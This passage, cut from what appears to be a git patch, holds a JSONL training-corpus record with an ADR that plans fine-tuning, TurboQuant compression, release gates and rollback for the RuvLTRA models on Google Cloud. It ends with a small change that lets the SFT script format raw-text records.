\"ISO-8601\",\n \"content_hash\": \"sha256\"\n}\n```\n\n**Source allowlist**: Only these sources may contribute training data:\n\n| Source | License | Allowed |\n|--------|---------|---------|\n| Brain memories (pi.ruv.io) | Apache-2.0 (project-owned) | Yes |\n| Common Crawl WET | CC-BY-4.0 / robots.txt compliant | Yes, with content filter |\n| Claude Flow routing dataset | Apache-2.0 (HF: `ruvnet/claude-flow-routing`) | Yes |\n| RuVector source code | MIT (project-owned) | Yes |\n| ADR corpus | MIT (project-owned) | Yes |\n| HumanEval / MBPP | MIT | Eval only \u2014 never train |\n| SWE-Bench | MIT | Eval only \u2014 never train |\n\n**Deduplication**: Content-hash dedup (SHA-256) at record level. Fuzzy dedup via MinHash (Jaccard > 0.8 = duplicate). Run before any train/eval split.\n\n**Eval contamination check**: After dedup, compute 13-gram overlap between training set and all eval sets (HumanEval, MBPP, SWE-Bench Lite, routing eval). Any record with >50% 13-gram overlap with an eval instance is removed from training and flagged. Contamination report is a required Phase 3 artifact.\n\n**Quality scoring**: Each record gets a quality score (0.0-1.0):\n- Brain memories: score = memory confidence (from brain API)\n- WET pages: score = content relevance classifier (>0.6 to include)\n- Claude routing: score = 1.0 (curated dataset)\n- Code: score = 1.0 (project-owned, reviewed)\n- ADRs: score = 1.0 (project-owned)\n\nRecords with quality_score < 0.5 are excluded. Final corpus statistics (count, token count, source distribution, quality histogram) are logged as a Phase 2 artifact.\n\n#### 2.3 Data Processing Pipeline\n\n```\nWET segments \u2192 CommonCrawlAdapter \u2192 Dedup (bloom) \u2192 Content filter\n \u2193\nBrain memories \u2192 /v1/memories/search \u2192 Category filter \u2192 Merge\n \u2193\nClaude dataset \u2192 HF download \u2192 Format validation \u2192 Unified corpus\n \u2193\n SFT/DPO split\n (80/20 train/eval)\n```\n\n#### 2.4 Training Configuration\n\n**Infrastructure**:\n- **Phase 2a (SFT)**: Vertex AI Custom Job, 1x A100-80GB, 4-8 hours\n- **Phase 2b (DPO)**: Vertex AI Custom Job, 1x A100-80GB, 2-4 hours\n- **Estimated cost**: ~$30-50 per full training run (A100 at $3.67/hr)\n\n**Hyperparameters (SFT)**:\n\n| Parameter | RuvLTRA-Small (0.5B) | RuvLTRA-Medium (3B) |\n|-----------|---------------------|---------------------|\n| Learning rate | 2e-5 | 1e-5 |\n| Batch size | 16 | 8 |\n| Epochs | 3 | 2 |\n| LoRA rank | 16 | 32 |\n| LoRA alpha | 32 | 64 |\n| LoRA targets | Q,K,V,O,Gate,Up | Q,K,V,O,Gate,Up |\n| Max seq length | 4096 | 8192 |\n| Warmup ratio | 0.05 | 0.03 |\n| Weight decay | 0.01 | 0.01 |\n| Gradient checkpointing | Yes | Yes |\n\n**Hyperparameters (DPO)**:\n\n| Parameter | Value |\n|-----------|-------|\n| Beta | 0.1 |\n| Learning rate | 5e-6 |\n| Epochs | 1 |\n| Max prompt length | 1024 |\n| Max completion length | 2048 |\n\n### Phase 3: Benchmarking & Validation (Week 3-4)\n\n#### 3.1 Benchmark Suite\n\n| Benchmark | Metric | Current Baseline | Target |\n|-----------|--------|-----------------|--------|\n| **Code generation** | pass@1 on HumanEval | TBD | >50% (0.5B), >65% (3B) |\n| **Agent routing** | Accuracy on routing dataset | 80% | >85% |\n| **TurboQuant quality** | Perplexity degradation | N/A | <0.5% at 4-bit, <1% at 3-bit |\n| **Inference speed** | tok/s on M4 Pro | 88-135 | >100 (0.5B), >60 (3B) |\n| **Memory** | Peak VRAM with TQ3 KV | N/A | <2GB (0.5B), <4GB (3B) |\n| **Long context** | Perplexity at 32K tokens | N/A | <15 PPL (3B with TQ3) |\n| **SWE-Bench Lite** | Resolution rate | TBD | >10% (0.5B), >20% (3B) |\n\n#### 3.2 Release Gate \u2014 Ship/No-Ship Criteria\n\nA model version is **approved for publishing** only if ALL of the following pass:\n\n| Gate | Criterion | Measurement |\n|------|-----------|-------------|\n| **G1: Code quality** | HumanEval pass@1 improves by \u22655 percentage points over current baseline, or \u226545% (0.5B) / \u226555% (3B) absolute | `eval_humaneval.py` |\n| **G2: Routing no-regression** | Agent routing accuracy \u2265 current baseline (80%). Must not regress. | `eval_routing.py` on held-out routing eval set |\n| **G3: General no-regression** | Perplexity on Wikitext-2 does not increase by >5% vs current baseline | `eval_perplexity.py` |\n| **G4: TurboQuant memory** | TQ3 KV compression \u2265 8x with perplexity delta < 1% | `turbo_quant_bench` |\n| **G5: Long context** | Perplexity at 16K tokens (3B model) < 20 PPL with TQ3 | `eval_long_context.py` |\n| **G6: Contamination** | Zero eval contamination detected (13-gram check passes) | Phase 2 contamination report |\n| **G7: Inference speed** | tok/s \u2265 80 (0.5B) / \u2265 40 (3B) on reference hardware (M4 Pro or L4 GPU) | `e2e_bench` |\n\nIf any gate fails, the model is **not published**. The team must either fix the issue and re-run, or document the regression and get explicit approval to ship with a known deficit.\n\n**Gate evaluation is automated** via `scripts/release_gate.py` which runs all checks and produces a single PASS/FAIL verdict with per-gate details.\n\n#### 3.3 Ablation Matrix\n\nEach improvement must be measured in isolation to attribute impact:\n\n| Run | imatrix Recal | LoRA SFT | DPO | TQ Runtime | Purpose |\n|-----|:---:|:---:|:---:|:---:|---------|\n| A (baseline) | | | | | Current published model |\n| B | \u2713 | | | | Isolate imatrix improvement |\n| C | \u2713 | \u2713 | | | Isolate SFT impact |\n| D | \u2713 | \u2713 | \u2713 | | Isolate DPO impact |\n| E | \u2713 | \u2713 | \u2713 | \u2713 | Full pipeline (ship candidate) |\n\nEach run is evaluated on the same held-out eval set. Results are recorded in `reports/ablation-{date}.json`. The ablation report is a required Phase 3 artifact.\n\n#### 3.4 TurboQuant-Specific Benchmarks\n\n```rust\n// Run from crates/ruvllm\ncargo bench --bench turbo_quant_bench\n\n// Benchmarks included:\n// - compress_batch/128d, 256d, 512d, 1024d\n// - decompress_batch\n// - inner_product_asymmetric vs inner_product_asymmetric_optimized\n// - kv_cache_tier push/get throughput\n// - embedding_store search latency\n```\n\n| Benchmark | Expected Result |\n|-----------|----------------|\n| Compress 1M KV vectors (128d, 3-bit) | <500ms |\n| Asymmetric inner product (batch 1000) | <1ms |\n| KV-cache tier push (per entry) | <10\u00b5s |\n| Embedding store search (10K vectors, top-10) | <5ms |\n\n#### 3.5 Automated Benchmark Pipeline\n\n```yaml\n# Cloud Scheduler: weekly benchmark\ngcloud scheduler jobs create http ruvltra-benchmark-weekly \\\n --schedule=\"0 6 * * 1\" \\\n --uri=\"https://us-central1-run.googleapis.com/apis/run.googleapis.com/v1/namespaces/ruv-dev/jobs/ruvltra-benchmark:run\" \\\n --location=us-central1\n```\n\n### Phase 4: Publishing (Week 4)\n\n#### 4.1 Model Publishing Pipeline\n\n```\nTrain \u2192 Merge LoRA \u2192 Convert GGUF \u2192 TurboQuant calibrate \u2192 Benchmark\n \u2193\n Q4_K_M, Q5_K_M, Q8_0 (standard)\n Q4_K_M-TQ3, Q4_K_M-TQ4 (TurboQuant-optimized)\n \u2193\n Upload to HuggingFace\n Update model cards\n Notify via Resend email\n```\n\n#### 4.2 Model Card Updates\n\nEach model card will include:\n- TurboQuant benchmark results (compression ratio, perplexity delta)\n- Training data sources and sizes\n- SWE-Bench and HumanEval scores\n- Recommended `ruvllm` configuration\n- Memory footprint comparison (standard vs TurboQuant KV)\n\n#### 4.3 Versioning\n\n| Model | Current | After Training |\n|-------|---------|---------------|\n| ruvltra-claude-code | v1.0 | v2.0-tq |\n| ruvltra | v1.0 | v2.0-tq |\n| ruvltra-medium | v1.0 | v2.0-tq |\n| ruvltra-small | v1.0 | v2.0-tq |\n\n## Nightly Continuous Learning Loop\n\nBeyond the initial 4-phase training, a nightly pipeline continuously improves the models using fresh brain learnings from pi.ruv.io.\n\n### Schedule\n\n| Job | Schedule | What It Does |\n|-----|----------|-------------|\n| `brain-train` | Every 5 min | Brain memory optimization (existing) |\n| `brain-wet-daily` | Daily 05:00 UTC | Common Crawl WET extraction (existing) |\n| `ruvltra-nightly-train` | Daily 03:00 UTC | **NEW** \u2014 incremental LoRA from brain learnings \u2192 validate \u2192 push to HF |\n| `ruvltra-benchmark-weekly` | Monday 06:00 UTC | Automated benchmark + release gate check |\n\n### Nightly Pipeline Flow\n\n```\n03:00 UTC \u2014 ruvltra-nightly-train fires\n \u2502\n \u251c\u2500 [1] Export brain learnings (last 24h) + ADR corpus\n \u2502 \u2514\u2500 Skip if < 10 records\n \u251c\u2500 [2] Contamination check (13-gram)\n \u251c\u2500 [3] Incremental LoRA training (rank-8, 1 epoch, lr=1e-5)\n \u251c\u2500 [4] Release gate check (G1-G7)\n \u2502 \u2514\u2500 Block publishing if any gate fails\n \u2514\u2500 [5] Push to HuggingFace (only if gates pass)\n```\n\n### Safety\n\n- **Minimum data threshold**: Skips if < 10 records (prevents training on noise)\n- **Release gates**: All 7 gates must pass before publishing\n- **Incremental only**: Rank-8 LoRA, 1 epoch \u2014 small updates, not full retraining\n- **7-day retention**: Old runs auto-cleaned\n- **Daily cost**: ~$4 (L4 GPU \u00d7 ~2hr, only on days with sufficient data)\n- **Monthly cost**: ~$60-90\n\n### Implementation\n\n- Script: `scripts/training/nightly_train.sh`\n- Cloud Run Job: `ruvltra-nightly-train` (L4 GPU, 8 CPU, 32GB RAM, 2hr timeout)\n- Deployed via: `scripts/training/deploy_training.sh` (Step 6-7)\n\n## Rollback Plan\n\nIf fine-tuning degrades model quality (any release gate fails after publishing):\n\n1. **Immediate**: Revert HuggingFace model files to previous commit. HF supports git-based rollback:\n ```bash\n # Revert to previous version\n git -C /path/to/hf-clone revert HEAD\n huggingface-cli upload ruv/ruvltra-medium . --commit-message \"Rollback: v2.0-tq regressed on G3\"\n ```\n\n2. **Model versioning**: All GGUF files are tagged with `v1.0` (current) and `v2.0-tq` (new). Both versions remain downloadable. The `latest` tag only moves to `v2.0-tq` after all gates pass. Users pinning `v1.0` are unaffected.\n\n3. **Registry rollback**: Update `crates/ruvllm/src/hub/registry.rs` to point default downloads back to v1.0 GGUF files. Publish `ruvllm` patch release.\n\n4. **npm rollback**: Publish `@ruvector/ruvllm` patch with reverted model defaults and updated README noting the rollback.\n\n5. **Post-mortem**: File a GitHub issue documenting which gate failed, root cause, and what changes are needed before the next attempt.\n\n## TurboQuant Serving Plan\n\nTurboQuant is a runtime technique, not a GGUF artifact. The serving integration works as follows:\n\n### Config Discovery\n\n```\nmodel.gguf (standard GGUF, unchanged)\nmodel.turboquant.json (TurboQuant runtime config, new file)\n```\n\nThe `.turboquant.json` file is a sidecar published alongside the GGUF on HuggingFace:\n\n```json\n{\n \"version\": 1,\n \"default_bits\": \"3.5\",\n \"default_eviction\": \"h2o\",\n \"use_qjl\": true,\n \"per_layer_config\": {\n \"layer_0\": {\"bits\": \"4.0\", \"reason\": \"high entropy, needs precision\"},\n \"layer_1\": {\"bits\": \"3.5\"},\n \"layer_23\": {\"bits\": \"3.0\", \"reason\": \"low entropy, safe to compress\"}\n }\n}\n```\n\n### Runtime Loading in RuvLLM\n\n`ruvllm` loads TurboQuant config in this order:\n1. User-provided `TurboQuantConfig` (explicit override)\n2. `.turboquant.json` sidecar file next to the GGUF (auto-discovered)\n3. Default config (3.5-bit, H2O eviction, QJL enabled)\n\nThis requires a small addition to the model loading path in `crates/ruvllm/src/gguf/`. The sidecar is optional \u2014 models without it use the default config.\n\n### Implementation Steps\n\n1. Add `TurboQuantProfile` struct to `crates/ruvllm/src/quantize/turbo_quant.rs`\n2. Add sidecar loading to `GgufLoader` in `crates/ruvllm/src/gguf/`\n3. Generate `.turboquant.json` files during Phase 1 profiling\n4. Upload sidecar files alongside GGUF to HuggingFace\n5. Update `ModelDownloader` to also fetch the sidecar\n\n## Cost Estimate\n\n**Note**: This covers initial experimental compute only (happy-path GPU time). It does not include failed runs, repeated calibration, data cleaning retries, GCS storage, network egress, or engineer time. Budget 2-3x for realistic end-to-end cost.\n\n| Phase | Resource | Duration | Cost |\n|-------|----------|----------|------|\n| TurboQuant calibration | L4 GPU (Cloud Run) | 2 hours | ~$4 |\n| SFT training (0.5B) | A100-80GB (Vertex AI) | 4 hours | ~$15 |\n| SFT training (3B) | A100-80GB (Vertex AI) | 8 hours | ~$30 |\n| DPO training (both) | A100-80GB (Vertex AI) | 4 hours | ~$15 |\n| GGUF conversion | L4 GPU (Cloud Run) | 1 hour | ~$2 |\n| Benchmarking | L4 GPU (Cloud Run) | 2 hours | ~$4 |\n| **Total** | | **~21 hours** | **~$70** |\n\nWeekly benchmark runs add ~$4/week (~$16/month).\n\n## Current Gaps Identified\n\n| Gap | Description | Resolution |\n|-----|-------------|------------|\n| **No GPU compute provisioned** | All GCloud is CPU-only Cloud Run except `phi4-finetuning-gpu` (L4) | Phase 1-2 provision GPU via Cloud Run Jobs and Vertex AI |\n| **TurboQuant has no GGUF format** | TurboQuant is runtime-only (KV-cache/embeddings), no GGUF serialization | Ship TQ runtime configs alongside standard GGUF files |\n| **Model checksums not set** | Registry `checksum` fields are `None` for all models | Compute and set SHA256 during Phase 4 publishing |\n| **WET pipeline is brain-only** | `CommonCrawlAdapter` feeds brain memories, not model training | Export WET-processed content as training corpus in Phase 2 |\n| **No full-model fine-tuning in Rust** | Rust training covers LoRA/embedding-level only | Use Python (transformers + peft) on Vertex AI for SFT/DPO |\n| **WASM Pi-Quant incomplete** | ADR-090 Phase 4 (PiQ WASM export) listed as \"In Progress\" | Track separately, not blocking this ADR |\n\n## Risks\n\n| Risk | Impact | Mitigation |\n|------|--------|------------|\n| Catastrophic forgetting during SFT | Model loses general ability | EWC++ regularization (SONA integration), eval after each epoch |\n| WET data quality | Noisy training data degrades model | Content filtering, dedup, quality scoring before inclusion |\n| TurboQuant calibration mismatch | Quantized model quality drops | A/B test against standard quantization on eval set |\n| GPU quota limits | Training job fails | Use preemptible instances, retry logic, L4 fallback |\n| HuggingFace token scope | Upload fails | Verify write scope before training pipeline starts |\n\n## Alternatives Considered\n\n1. **Vertex AI Model Garden**: Pre-built fine-tuning pipelines, but no TurboQuant integration and limited model architecture support.\n2. **GKE with GPU node pool**: More flexible but higher operational complexity. Cloud Run jobs are simpler for batch workloads.\n3. **TPU training**: Better cost/perf for large models, but RuvLTRA models (0.5B-3B) are small enough that A100 is sufficient and simpler.\n4. **External training providers** (Lambda, RunPod): Cheaper GPU hours but no integration with existing GCloud secrets, scheduler, and Artifact Registry.\n\n## Next Steps\n\n### Pre-Approval (before marking Accepted)\n1. [ ] Review and finalize dataset governance rules (Section 2.2)\n2. [ ] Confirm release gate thresholds with stakeholders (Section 3.2)\n3. [ ] Validate HuggingFace token has write scope for all 4 model repos\n\n### Phase 1 (Week 1)\n4. [ ] Build `gcr.io/ruv-dev/ruvltra-training:latest` Docker image\n5. [ ] Run imatrix recalibration with code-focused calibration data\n6. [ ] Generate TurboQuant per-layer profiles and `.turboquant.json` sidecars\n7. [ ] Benchmark recalibrated GGUFs against baseline (ablation run B)\n\n### Phase 2 (Week 2-3)\n8. [ ] Export brain memories and WET-processed data as training corpus\n9. [ ] Run eval contamination check on training corpus\n10. [ ] Create Vertex AI custom training job template\n11. [ ] Run SFT training (ablation run C)\n12. [ ] Run DPO training (ablation run D)\n\n### Phase 3 (Week 3-4)\n13. [ ] Run full ablation matrix (runs A-E)\n14. [ ] Evaluate all release gates (G1-G7)\n15. [ ] Produce contamination report and ablation report\n16. [ ] Implement `scripts/release_gate.py` automation\n\n### Phase 4 (Week 4)\n17. [ ] Produce new GGUF variants + sidecar configs\n18. [ ] Publish to HuggingFace with updated model cards\n19. [ ] Update `ruvllm` model registry with checksums\n20. [ ] Set up weekly benchmark scheduler job\n21. [ ] Publish `ruvllm` and `@ruvector/ruvllm` with sidecar loading support\n\n## Existing Training Infrastructure\n\n| Component | Location | What It Does |\n|-----------|----------|--------------|\n| MicroLoRA training | `crates/ruvllm/src/lora/training.rs` | Per-request LoRA with EWC++ regularization |\n| Adapter trainer | `crates/ruvllm/src/lora/adapters/trainer.rs` | Synthetic Claude dataset training |\n| Pretrain pipeline | `crates/ruvllm/src/claude_flow/pretrain_pipeline.rs` | 4-phase: Bootstrap, Synthetic, Reinforce, Consolidate |\n| TS training | `npm/packages/ruvllm/src/training.ts` | Full pipeline with LR scheduling, early stopping, EWC |\n| Contrastive fine-tune | `npm/packages/ruvllm/scripts/training/contrastive-finetune.js` | Triplet loss router training |\n| Brain LoRA training | `scripts/train-lora.py` | Federated LoRA with Byzantine-tolerant aggregation |\n| 15-agent swarm | `scripts/swarm_train_15.sh` | Parallel discovery + training from 15 data sources |\n| Weight quantization | `crates/ruvllm/src/quantize/ruvltra_quant.rs` | Q4_K_M, Q5_K_M, Q8_0, PiQ3, PiQ2 GGUF export |\n| TurboQuant (runtime) | `crates/ruvllm/src/quantize/turbo_quant.rs` | 2-4 bit KV-cache/embedding compression |\n| Benchmarks | `crates/ruvllm/benches/` | 13 benchmark files covering all subsystems |\n\n## References\n\n- [TurboQuant implementation](../../crates/ruvllm/src/quantize/turbo_quant.rs)\n- [KV-Cache management](../../crates/ruvllm/src/kv_cache.rs)\n- [WET processing pipeline](../../crates/mcp-brain-server/src/pipeline.rs)\n- [ADR-128: SOTA Gap Implementations](./ADR-128-sota-gap-implementations.md)\n- [v2.1.0 Release](https://github.com/ruvnet/RuVector/releases/tag/v2.1.0)\n- [phi4-finetuning-gpu service](https://console.cloud.google.com/run/detail/us-central1/phi4-finetuning-gpu/revisions?project=ruv-dev) \u2014 existing template\n- [ADR-049: Verified Training Pipeline](./ADR-049-verified-training-pipeline.md)\n- [ADR-090: Ultra-Low-Bit QAT & Pi-Quantization](./ADR-090-ultra-low-bit-qat-pi-quantization.md)\n- [ADR-093: Daily Discovery Brain Training](./ADR-093-daily-discovery-brain-training.md)\n- [Federated LoRA training script](../../scripts/train-lora.py)\n- [15-agent swarm training](../../scripts/swarm_train_15.sh)\n- [RuvLTRA model registry](../../crates/ruvllm/src/hub/registry.rs)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-129-ruvltra-gcloud-training-turboquant.md", "created_at": "2026-03-28T11:58:50.296004+00:00", "content_hash": "31d4d7ffcb924e5542086800842bdbe09be51f68dcfd186b32610ce4a097616a"} +{"id": "33f3e5e4-dd4b-4d3c-a603-bba0a207b794", "source": "claude-routing", "text": "Claude Flow routing dataset \u2014 2,700+ examples of agent routing decisions. Source: HuggingFace dataset ruvnet/claude-flow-routing. This is a reference record; fetch the full dataset via `datasets.load_dataset('ruvnet/claude-flow-routing')` during training.", "license": "apache-2.0", "quality_score": 1.0, "provenance": "https://huggingface.co/datasets/ruvnet/claude-flow-routing", "created_at": "2026-03-28T11:58:50.296148+00:00", "content_hash": "229a1f5b40c9e646e7029059a78430869a2f67e1f636344952d7ed9b2386a40c"} From a9ceae841e720a9112c64b457fc1c3c7c2b54230 Mon Sep 17 00:00:00 2001 From: rUv Date: Sat, 28 Mar 2026 15:18:36 +0000 Subject: [PATCH 4/4] fix(training): handle raw text corpus format in SFT pipeline The training corpus uses a flat 'text' field (brain memories, ADRs) rather than chat messages or Alpaca instruction format. Add handler that converts raw text to completion-style messages for SFT. Co-Authored-By: claude-flow --- scripts/training/run_sft.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/scripts/training/run_sft.py b/scripts/training/run_sft.py index 044595090..04190699f 100755 --- a/scripts/training/run_sft.py +++ b/scripts/training/run_sft.py @@ -96,6 +96,16 @@ def format_dataset(records: list[dict]): messages[-1]["content"] += f"\n\n{rec['input']}" messages.append({"role": "assistant", "content": rec["output"]}) formatted.append({"messages": messages}) + elif "text" in rec and len(rec["text"]) > 100: + # Raw text format (brain memories, ADRs) — convert to completion format + text = rec["text"] + title = rec.get("title", text[:60].split("\n")[0]) + messages = [ + {"role": "system", "content": "You are a knowledgeable software architect and Rust developer."}, + {"role": "user", "content": f"Explain: {title}"}, + {"role": "assistant", "content": text}, + ] + formatted.append({"messages": messages}) else: log.warning("Skipping record with unknown format: %s", list(rec.keys()))